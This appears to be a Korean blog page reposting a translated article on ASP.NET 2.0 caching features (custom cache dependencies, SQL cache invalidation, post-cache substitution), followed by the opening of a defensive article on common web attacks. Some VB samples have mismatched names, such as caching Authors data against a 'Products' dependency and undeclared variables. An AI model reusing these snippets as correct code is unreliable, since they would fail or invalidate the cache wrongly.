사용자 지정 캐시 종속성을 사용하는 것은 이보다 더 쉽습니다. 사용자 지정 캐시 종속성 클래스를 사용하여 ASP.NET Xml 컨트롤을 사용하는 RSS 피드를 검색하고 표시하는 ASP.NET 페이지가 아래에 표시되어 있습니다. 코드는 입력된 URL의 캐시에 항목이 있는지 테스트를 통해 확인합니다. 항목이 없는 경우에는 레이블 텍스트를 설정하여 항목이 캐시에서 추출되지 않았음을 나타낸 다음 BlogCacheDependency 클래스의 새 인스턴스를 만들어서 RSS 피드의 URL과 폴링 사이의 초 단위 시간(이 경우 1시간을 나타내는 3600)을 전달합니다. 그런 다음 사용자가 지정한 URL을 키로, 종속성 인스턴스의 RSS 속성을 값으로 사용하여 Cache에 항목을 삽입하고 캐시된 항목이 종속성 인스턴스에 종속되도록 설정합니다. 마지막으로 코드는 캐시된 항목에 Xml 컨트롤의 Document 속성을 설정하고, "feeds.xsl"에 TransformSource 속성을 설정합니다. "feeds.xsl"은 RSS를 HTML로 변환하는 스타일시트로, today.icantfocus.com 웹 사이트(http://today.icantfocus.com/blog/archives/entries/000430/)(영문 사이트)에 있습니다.

<%@ page language="VB" %><%@ import namespace="v2_Caching" %><script runat="server"> Sub Button1_Click(ByVal sender As Object, _ ByVal e As System.EventArgs) Label2.Text = "예" If Cache(TextBox1.Text) Is Nothing Then Label2.Text = "아니요" '변경 내용을 60분마다 폴링하도록 종속성을 만듭니다. Dim dep As New BlogCacheDependency(TextBox1.Text, 3600) Cache.Insert(TextBox1.Text, dep.RSS, dep) End If FeedXml.Document = Cache(TextBox1.Text) FeedXml.TransformSource = "feeds.xsl" End Sub</script><html><head runat="server"> <title>사용자 지정 캐시 종속성 예제</title></head><body> <form runat="server"> 표시할 RSS 피드를 입력하십시오: <asp:textbox id="TextBox1" runat="server"> </asp:textbox> <asp:button id="Button1" onclick="Button1_Click" runat="server" text="피드 가져오기" /> <hr /> 캐시에서 가져옴: <asp:label id="Label2" runat="server" forecolor="#FF3366"> </asp:label> <br /> 피드: <asp:xml id="FeedXml" runat="Server" /> <br /> </form></body></html>

그림 1은 페이지의 모양을 보여 줍니다.

그림 1. CustomDependency.aspx

사용자가 유효한 피드 URL(이 예제에서는 URL의 유효성을 검사하지 않으므로 사용자가 유효하지 않은 URL을 입력하면 예외가 발생)을 입력하고 피드 가져오기 단추를 클릭하면 그림 2와 비슷한 결과가 나타납니다. 캐시에서 피드가 추출되지 않는 것을 볼 수 있습니다.

그림 2. 블로그 피드 표시

후속 요청에서는 그림 3과 같이 캐시에서 피드를 제공합니다.

그림 3. 캐시에서 피드 제공

피드가 변경되는 경우 다음 폴링 간격에서 Timer 코드가 캐시된 항목을 무효화하므로 결과가 그림 4와 같아집니다.

그림 4. 업데이트된 피드

다음은 사용자 지정 캐시 종속성을 개발할 때 주의해야 할 마지막 사항입니다. 외부 리소스, 특히 사용자가 제어할 수 없는 외부 리소스를 폴링하는 코드를 개발할 때는 두 가지를 염두에 두어야 합니다.

  • 폴링 메커니즘이 해당 리소스에 미치는 부하에 주의해야 합니다. 다른 사람이 호스팅하는 RSS 피드를 30초마다 폴링하면 문제가 발생할 수 있습니다. 대부분의 RSS 피드는 그렇게 자주 업데이트되지 않기 때문입니다.
  • 폴링 중인 RSS 피드를 사용할 수 없게 되는 불가피한 경우를 처리하기 위한 예외 처리 코드를 포함시켜야 합니다.

SQL 캐시 무효화

웹 개발자에게 데이터 및 출력 캐싱이 모두 제공하는 가장 큰 이점 중 하나는 요청할 때마다 부하가 많이 걸리는 리소스를 반복적으로 처리하고 검색해야 하는 부담을 피할 수 있게 해 주는 것입니다. 물론 데이터베이스와의 정보 교환이 가장 부하가 많이 걸리는 리소스 중 하나이므로 캐싱은 데이터 집합의 메모리 내 복사본 또는 데이터 중심의 캐시된 페이지 버전을 저장하는 데 특히 유용합니다.

문제는 최신 데이터를 필요로 하는 페이지가 있는 경우 발생합니다. ASP.NET v1.1에서는 캐시 기간을 아주 짧게 설정하거나, 부분 페이지 캐싱을 사용하여 페이지에서 변경되지 않을 부분만 캐시하는 방법 외에는 캐시된 데이터가 오래된 데이터가 되지 않도록 하는 방법이 기본적으로 제공되지 않습니다.

이를 해결하기 위해 ASP.NET Whidbey에는 Microsoft SQL Server™ 데이터의 변경 사항을 기준으로 캐시된 항목 또는 출력 캐시된 페이지를 무효화할 수 있는 기능이 추가되었습니다. 이 기능은 매우 간단하게 구현할 수 있으며 SQL Server 7, 2000 및 Yukon에서 지원됩니다.

SQL Server 7/2000

ASP.NET 팀에서 데이터베이스 캐시 무효화 기능을 SQL Server 7 및 2000에 제공할 때 겪은 어려움 중 하나는 두 버전 모두 특정 테이블의 데이터가 변경될 때 원하는 당사자에게 이를 알릴 수 있는 메커니즘이 기본 제공되어 있지 않다는 점이었습니다. 물론 트리거를 사용하는 방법(트리거가 sp_MakeWebTask를 호출하여 SQL Server 웹 길잡이로 하여금 테이블의 내용을 특정 페이지에 쓰도록 한 다음 이 페이지를 파일 캐시 종속성으로 사용하는 방법이 있음)이 있지만, 이 경우 성능 향상은 고사하고 사이트가 차단되어 전혀 작동하지 않게 되는 상황이 발생할 위험도 있습니다.

이전 예제에서 이에 대한 해결 방법의 기초를 이미 살펴보았습니다. ASP.NET 팀에서는 사용자가 지정한 일정에 따라 지정된 데이터베이스를 폴링하여 변경 내용을 찾는 SqlCacheDependency 클래스라는 사용자 지정 캐시 종속성을 만들었습니다. 이 클래스는 변경된 데이터를 찾으면 캐시를 무효화하므로, 새로운 데이터를 얻을 수 있습니다.

폴링 및 비교 메커니즘을 좀 더 단순하게 만들기 위해 SQL 7/2000의 SQL 캐시 무효화 작업에서는 변경 사항을 모니터링할 각 데이터베이스/테이블에 대한 1회 설정이 필요합니다. 이 설정은 aspnet_regsqlcache.exe 명령줄 도구를 통해 수행합니다. 이 기능은 Whidbey 알파 릴리스와는 별도로 제공되지만, 베타 릴리스에는 마법사 및 명령줄 UI를 모두 제공하는 aspnet_regsql.exe라는 또 다른 도구에서 제공될 예정입니다. aspnet_regsqlcache.exe는 Whidbey 릴리스의 기본 프레임워크 디렉터리에 있습니다.

캐시 무효화를 위해 Pubs 샘플 데이터베이스를 사용하려면 다음 명령을 실행하기만 하면 됩니다. 다음 명령에서 -S 매개 변수는 로컬 SQL Server 인스턴스를 지정하는 반면 -E 매개 변수는 유틸리티로 하여금 트러스트된 연결을 사용하여 SQL Server에 연결하도록 합니다. 그러기 위해서는 로그인 계정이 SQL Server 컴퓨터 및 필요한 데이터베이스에 액세스할 수 있어야 합니다.

aspnet_regsqlcache.exe -S (local) -E -d Pubs -ed

작성자 테이블을 사용하려면 다음 명령을 실행하기만 하면 됩니다.

aspnet_regsqlcache.exe -S (local) -E -d Pubs -t Authors -et

다음 명령을 실행할 수도 있습니다.

aspnet_regsqlcache.exe -?

그러면 사용할 수 있는 모든 명령줄 매개 변수가 표시됩니다.

데이터베이스를 설정한 후에는 연결 정보 및 폴링 빈도를 지정해야 합니다. 아래와 같이 web.config에 있는 <cache>라는 새로운 구성 요소를 사용하면 됩니다. 여기에서는 역시 ASP.NET Whidbey에 새로 추가된 connectionStrings 섹션을 사용하여 응용 프로그램에 사용되는 연결 문자열을 저장합니다. 베타 릴리스에는 ID 및 암호 정보의 암호화를 지원하는 기능도 추가될 예정입니다.

<?xml version="1.0" encoding="UTF-8" ?><configuration> <connectionStrings> <add name="PubsConnYukon" connectionString="User ID=<id>;pwd=<password>;Initial
Catalog=pubs;Data Source=192.168.0.108" /> <add name="PubsConn" connectionString="Initial Catalog=pubs;Data
Source=(local);Trusted_Connection=true" /> </connectionStrings> <system.web> <cache> <sqlCacheDependency enabled="true" pollTime="30000"> <databases> <add name="Pubs" connectionStringName="PubsConn" /> </databases> </sqlCacheDependency> </cache> </system.web></configuration>

위 예제에서는 <sqlCacheDependency> 요소를 사용하여 데이터베이스 캐시 종속성(응용 프로그램의 전역 설정)을 사용하도록 설정하고 기본 폴링 시간을 30000밀리초(30초)로 설정했습니다. <databases> 요소에는 이 응용 프로그램에 대해 설정된 모든 데이터베이스가 포함되며, 이 경우에는 connectionStringName 특성을 사용하여 Pubs 데이터베이스를 추가하는 <add> 요소만 하나 있습니다. connectionString 특성을 사용하여 연결 문자열을 <add> 요소에 직접 지정할 수도 있습니다. name 특성은 나중에 이 종속성을 참조하는 데 사용되는 이름을 지정합니다.

<cache> 요소를 구성한 후에는 구성된 종속성을 사용하는 것이 매우 간단합니다. 종속성은 세 가지 방법 중 하나로 구성할 수 있습니다. 즉, 출력 캐시 API 또는 캐시 API를 통해 구성하거나 선언적으로 구성할 수 있습니다.

다음 코드는 출력 캐시 API를 통해 종속성을 사용하여 Authors 테이블에서 데이터가 변경될 때 페이지의 출력 캐시를 무효화하는 방법을 보여 줍니다.

참고   이 코드에서는 System.Web.Caching 네임스페이스를 가져왔다고 가정합니다.
Dim sqlDependency As New SqlCacheDependency("Pubs", "Authors")Response.AddCacheDependency(sqlDependency)Response.Cache.SetValidUntilExpires(True)Response.Cache.SetExpires(DateTime.Now.AddMinutes(60))Response.Cache.SetCacheability(HttpCacheability.Public)

이 코드는 일반적으로 Page_Load 이벤트 처리기에 있습니다.

구성된 종속성을 Cache 클래스와 함께 사용하려면 이제 어느 정도 친숙한 다음 코드를 사용해야 합니다. 이 코드는 Pubs Authors 테이블에서 데이터 집합을 검색하여 구성된 SqlCacheDependency와 함께 캐시하거나, 데이터가 변경되지 않은 경우 단순히 캐시된 데이터 집합을 반환합니다.

Dim Key As String = "Authors"If (Cache(Key) Is Nothing) Then Label1.Text = "캐시에 없음…" Dim connection As New _ SqlConnection(ConfigurationSettings.ConnectionStrings("Pubs")) Dim adapter As New _ SqlDataAdapter("SELECT * FROM Authors", connection) Dim DS As New DataSet adapter.Fill(dataSet) Cache.Insert(Key, DS, New SqlCacheDependency("Pubs", "Products"))Else Label1.Text = "캐시에 있음…"End IfReturn Cache(Key)

마지막으로 간단하게 선언적인 @ OutputCache 지시문을 사용하여 전체 페이지 출력을 캐시하고, 새 sqlDependency 특성을 사용하여 DatabaseAlias:TableName 형식으로 종속성을 지정할 수도 있습니다. 여기에서 DatabaseAlias는 web.config에서 설정한 <add> 요소의 name 특성이 지정하는 이름이고, TableName은 변경 사항을 폴링할 테이블의 이름입니다. 다음 코드는 Authors 테이블에서 데이터를 추출하여 GridView 컨트롤에 바인딩한 다음 앞에서 구성한 종속성에 따라 페이지 출력을 캐시하는 페이지를 보여 줍니다.

<%@ page language="VB" %><%@ outputcache duration="9999" varybyparam="none" sqldependency="Pubs:Authors" %><script runat="server"> Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Sqldatasource1.ConnectionString = _ ConfigurationSettings.ConnectionStrings("PubsConn") CacheStatus.Text = "이 페이지를 마지막으로 렌더링한 시간: " & _ DateTime.Now.ToLongTimeString End Sub</script><html><head runat="server"> <title>DB Cache invalidation on SQL Server 2000</title></head><body> <form runat="server"> <h2><asp:label id="CacheStatus" runat="Server"/></h2> <asp:gridview id="Gridview1" datasourceid="Sqldatasource1" bordercolor="#CC9966" borderstyle="None" borderwidth="1px" backcolor="White" cellpadding="4" runat="server"> <alternatingrowstyle font-italic="False" font-bold="False"> </alternatingrowstyle> <rowstyle forecolor="#330099" backcolor="White" font-italic="False" font-bold="False"> </rowstyle> <headerstyle forecolor="#FFFFCC" backcolor="#990000" font-italic="False" font-bold="True"> </headerstyle> <footerstyle forecolor="#330099" backcolor="#FFFFCC" font-italic="False" font-bold="False"> </footerstyle> </asp:gridview> <asp:sqldatasource id="Sqldatasource1" runat="server" selectcommand="SELECT * FROM authors" providername="System.Data.SqlClient" > </asp:sqldatasource> </form></body></html>

위 페이지(이 기사의 샘플 코드에도 있음)는 Authors 테이블의 데이터가 변경될 때까지 해당 출력을 캐시합니다. 데이터가 변경되면 업데이트된 데이터를 검색하고 페이지 출력을 다시 한 번 캐시합니다.

SQL Server "Yukon"

SQL Server "Yukon"에서는 새로운 알림 인프라 덕분에 데이터베이스 캐시 무효화를 더욱 쉽게 사용할 수 있습니다. Yukon 데이터로 작업하는 경우 SqlCacheDependency 클래스의 생성자 오버로드를 사용하여 데이터를 검색하는 데 사용된 SqlCommand 인스턴스를 기준으로 종속성을 생성할 수 있습니다. 그러면 백그라운드에서 Yukon 데이터베이스 서버의 알림 메시지를 받기 위한 수신기 개체가 만들어지고 응용 프로그램이 데이터 변경 알림의 대상으로 등록됩니다. 데이터 변경 알림을 받으면 종속성과 관련이 있는 캐시된 항목이 제거됩니다.

Yukon에서 제공하는 알림 서비스의 이점은 특수 테이블, 트리거 또는 저장 프로시저를 사용하여 데이터베이스를 설정할 필요가 없다는 것입니다. Yukon에서는 폴링이 필요하지 않으므로 web.config에서 특수 설정을 수행할 필요도 없습니다. Yukon에서 데이터베이스 캐시 무효화의 이점을 활용하려면 데이터를 검색하는 데 사용된 SqlCommandSqlCacheDependency 클래스의 인스턴스에 연결하는 코드 한 줄만 추가하면 됩니다.

Dim SqlDep As New SqlCacheDependency(SqlCmd)

그리고 SQL Server 7 또는 2000에서와 마찬가지로 종속성을 사용하면 됩니다. 따라서 출력 캐시를 사용하는 페이지를 캐시하는 코드는 다음과 같습니다. 이 코드는 이 기사의 샘플 파일에 있는 SqlCacheInvalidation_Yukon.aspx 페이지에도 사용됩니다.

Dim SqlConn As New _SqlConnection(ConfigurationSettings.ConnectionStrings("PubsConnYukon"))Dim SqlCmd As New SqlCommand("SELECT * FROM Authors", SqlConn)Dim SqlDep As New SqlCacheDependency(SqlCmd) SqlConn.Open()Gridview1.DataSource = SqlCmd.ExecuteReader()Gridview1.DataBind()SqlConn.Close()Response.AddCacheDependency(sqlDependency)Response.Cache.SetValidUntilExpires(True)Response.Cache.SetExpires(DateTime.Now.AddMinutes(60))Response.Cache.SetCacheability(HttpCacheability.Public)

Cache 클래스를 사용하는 데이터 집합을 캐싱하는 코드는 약간 다르지만 기본 개념은 동일합니다. 명령과 SqlCacheDependency를 연결하는 코드는 굵게 표시되어 있습니다.

Dim Key As String = "Authors"If (Cache(Key) Is Nothing) Then Label1.Text = "캐시에 없음…" Dim connection As New _ SqlConnection(ConfigurationSettings.ConnectionStrings("Pubs")) Dim adapter As New _ SqlDataAdapter("SELECT * FROM Authors", connection) Dim DS As New DataSet adapter.Fill(dataSet) Cache.Insert(Key, DS, New SqlCacheDependency(adapter.SelectCommand))Else Label1.Text = "캐시에 있음…"End IfReturn Cache(Key)

이것이 전부입니다. 물론 주의해야 할 점이 두 가지 있습니다. 첫째, Yukon 데이터베이스의 데이터에 액세스하는 데 사용되는 계정에는 대상 데이터베이스에 쿼리 알림 구독을 요청할 수 있는 충분한 권한이 있어야 합니다. 둘째, Yukon의 PDC 빌드에는 버그가 있기 때문에 데이터 변경에 대한 알림을 받으려면 sa 계정을 사용하여 데이터베이스에 로그인해야 합니다.

중요   특수한 경우 가 아니면 어떤 응용 프로그램에서도 sa 계정을 사용하여 데이터에 액세스하거나 데이터를 수정해서는 안 됩니다. 따라서 Yukon의 PDC 빌드에서 SQL 캐시 무효화를 사용하려면 인터넷(웹 서버 및 데이터베이스 서버 포함)에 액세스할 수 없는 응용 프로그램만을 사용해야 합니다.

사후 캐시 대체

마지막으로 다룰 새 기능은 다른 기능이 처리하지 못한 부분을 처리하는 사후 캐시 대체입니다. 많은 응용 프로그램에서, 캐싱에 별로 적합하지 않은 아주 작은 동적 코드에 출력 캐싱을 사용하고자 하는 경우가 종종 있습니다. 사후 캐시 대체를 사용하면 자리 표시자 역할을 하는 컨트롤을 페이지에 추가하여 런타임에 문자열 출력을 반환하는 지정된 메서드를 호출하도록 할 수 있습니다. 이러한 방법으로 캐시를 원하는 대로 사용할 수 있습니다.

또한 사후 캐시 대체는 새로운 기능 중에서 가장 사용하기 쉽습니다. 다음의 두 가지 방법 중 하나로 대체 위치를 선택합니다.

  • Response.WriteSubstitution 메서드를 호출하고 이 메서드에 원하는 대체 메서드 콜백에 대한 참조를 전달합니다.
  • 원하는 위치의 페이지에 <asp:substitution> 컨트롤을 추가하고 methodname 특성을 콜백 메서드의 이름으로 설정합니다.

두 번째 방법의 이점은 문자열 출력이 렌더링되는 위치를 좀 더 정확하게 지정할 수 있다는 것입니다. 두 방법 모두에서 기간, 위치 등을 지정하는 페이지에 @ OutputCache 지시문을 추가하여 페이지 출력을 캐시할 수도 있습니다. 사후 캐시 대체의 또 다른 이점은 이 기능을 활용하는 사용자 지정 컨트롤을 작성할 수 있다는 것입니다. 예를 들어 ASP.NET 팀에서는 AdRotator 컨트롤이 사후 캐시 대체를 인식하도록 다시 작성했습니다. 즉, AdRotator 컨트롤을 페이지에 추가하고 해당 페이지를 출력 캐시하면 AdRotator 컨트롤이 사후 캐시 대체를 자동으로 활용하여 지정된 광고를 올바르게 표시하므로 사용자는 광고를 표시하기 위해 별다른 작업을 하지 않아도 됩니다.

다음 코드는 사후 캐시 대체를 사용하는 페이지의 예를 보여 줍니다. 이 페이지는 Pubs 데이터베이스의 작성자 테이블에서 데이터를 검색하여 GridView에 바인딩하고 AdRotator 컨트롤로부터 광고를 표시합니다. 이 페이지의 Page_Load에는 페이지를 만든 시간이 기록되는 레이블이 들어 있습니다. 또한 <asp:substitution> 컨트롤이 페이지에 추가되어 있고 methodname 특성이 Substitute로 설정되어 있습니다. Substitute는 원하는 문자열(이 경우 단순히 현재 시간이 포함된 문자열)의 출력을 반환하는 메서드의 이름입니다.

<%@ page language="VB" %><%@ outputcache duration="30" varybyparam="none" %><script runat="server" language="vb"> Shared Function Substitute(ByVal MyContext As HttpContext) As String Dim str As String = "캐시된 페이지에 콘텐츠를 추가했습니다!<br/>" str &= "현재 시간: " & DateTime.Now.ToLongTimeString Return str End Function Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) SqlDataSource1.ConnectionString = _ ConfigurationSettings.ConnectionStrings("PubsConn") Label1.Text = "페이지 작성 시간: " + DateTime.Now.ToLongTimeString End Sub</script><html><head id="Head1" runat="server"> <title>Untitled Page</title></head><body> <form id="Form1" runat="server"> <h1> <asp:label id="Label1" runat="server">Label</asp:label> </h1> <br /> <br /> <asp:adrotator id="AdRotator1" width="468px" height="60px" advertisementfile="ads_tall.xml" runat="server" /> <asp:substitution id="Substitution1" methodname="Substitute" runat="server" /> <br /> <br /> <asp:gridview id="GridView1" autogeneratecolumns="False" datasourceid="SqlDataSource1" datakeynames="au_id" runat="server" > <columnfields> <asp:boundfield sortexpression="au_id" datafield="au_id" readonly="True" headertext="만든 이 ID"> </asp:boundfield> <asp:boundfield sortexpression="au_fname" datafield="au_fname" headertext="이름"> </asp:boundfield> <asp:boundfield sortexpression="au_lname" datafield="au_lname" headertext="성"> </asp:boundfield> </columnfields> <rowstyle forecolor="#000066"> </rowstyle> <headerstyle forecolor="White" backcolor="#006699" font-bold="True"> </headerstyle> </asp:gridview> <asp:sqldatasource id="SqlDataSource1" providername="System.Data.SqlClient" selectcommand="SELECT [au_id], [au_fname], [au_lname] FROM dbo.[authors]" runat="server" > </asp:sqldatasource> </form></body></html>

처음 호출될 때 이 페이지는 그림 5에 표시된 출력을 반환합니다. "page created" 레이블과 대체 메서드에 의한 시간 출력이 일치하는 것을 볼 수 있습니다.

그림 5. PostCache.aspx의 초기 출력

페이지를 새로 고치면 출력이 캐시됨에도 불구하고 그림 6과 같이 AdRotator 출력과 Substitute 메서드의 출력은 모두 업데이트되는 반면 페이지의 나머지 부분은 캐시된 상태로 남아 있습니다.

그림 6. 사후 캐시 대체를 통해 캐시된 출력

이 기사의 샘플 파일에는 이 기술을 사용하려는 사용자를 위해 Response.WriteSubstitution을 사용하는 PostCache_RWS.aspx라는 페이지도 포함되어 있습니다.

결론

몇 가지 간단한 기능을 추가함으로써 ASP.NET 팀은 ASP.NET의 유용한 부분을 더욱 훌륭하게 만들었습니다. 다음과 같은 기능이 추가되었습니다.

  • 데이터 중심 페이지 출력 또는 데이터 집합을 캐시하고 데이터가 수정될 때 캐시를 자동으로 삭제할 수 있는 기능
  • 사용자 지정 캐시 종속성을 만들 수 있는 기능
  • 사후 캐시 대체를 통해 런타임에 텍스트 조각을 캐시된 페이지에 동적으로 추가할 수 있는 기능

이러한 기능 때문에 ASP.NET 응용 프로그램 개발자는 더 이상 캐싱을 사용하지 않을 이유가 없습니다. 이로 인해 차세대 ASP.NET 응용 프로그램의 성능은 매우 발전할 것입니다.

관련 서적


저자 소개

G. Andrew Duthie는 Graymad Enterprises, Inc.  설립자이자 대표이며 Microsoft Web 개발 기술에 대한 교육과 컨설팅을 맡고 있습니다. Andrew는 Active Server Pages가 도입된 이후 다중 계층 웹 응용 프로그램을 개발해 오고 있습니다. 또한 Microsoft ASP.NET Programming with Microsoft Visual Basic(영문), Microsoft ASP.NET Programming with Microsoft Visual C#(영문) 및 ASP.NET in a Nutshell(2판)(영문)을 비롯한 다수의 ASP.NET 관련 서적을 저술했습니다. Andrew는 Software Development, Dev-Connections family of conferences, Microsoft Developer Days 및 VSLive 이벤트에서 자주 강연을 하며 .NET 사용자 그룹에서도 INETA(International .NET Association)  강연자 협회 회원으로 강연을 맡고 있습니다. Andrew에 대한 자세한 내용을 알아보려면 회사 웹 사이트인 http://www.graymad.com/ 을 방문하십시오.

작성자 메모

이 기사를 작성하는 것은 물론 이 기사의 예제에 사용된 코드 샘플의 초안을 만들어 주신 ASP.NET 팀의 캐싱 분야 상근 전문가인 Rob Howard에게 감사를 드립니다.



화면 맨 위로화면 맨 위로


최종 수정일: 2004년 8월 3일
Posted by tornado
|

Dino Esposito
Wintellect

적용 대상
   Microsoft ASP.NET 1.x
   Microsoft ASP.NET 2.0

요약: 가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.

목차

ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인

ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스

ASP.NET 개발자가 항상 수행해야 하는 작업

이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.

웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.

이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.

이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.

위협 요인

표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.

공격 공격을 가능하게 하는 요인
교차 사이트 스크립팅(XSS) 신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨
SQL 주입 사용자 입력 내용을 연결하여 SQL 명령을 형성함
세션 가로채기 세션 ID 추측 및 유출된 세션 ID 쿠키
한 번 클릭 인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨
숨겨진 필드 변조 선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음

표 1. 일반적인 웹 공격

이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.

  • 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
  • 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
  • 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.

흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.

  • 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
  • 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
  • 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.

아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.

ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1부터 도입된 ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은 Page 클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.

현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.

스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까? ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.

속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉, ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해 한 번 클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.

한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.

한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.

  • 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
  • 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
  • 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
  • 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.

앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).

그림 1. 한 번 클릭 공격

왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.

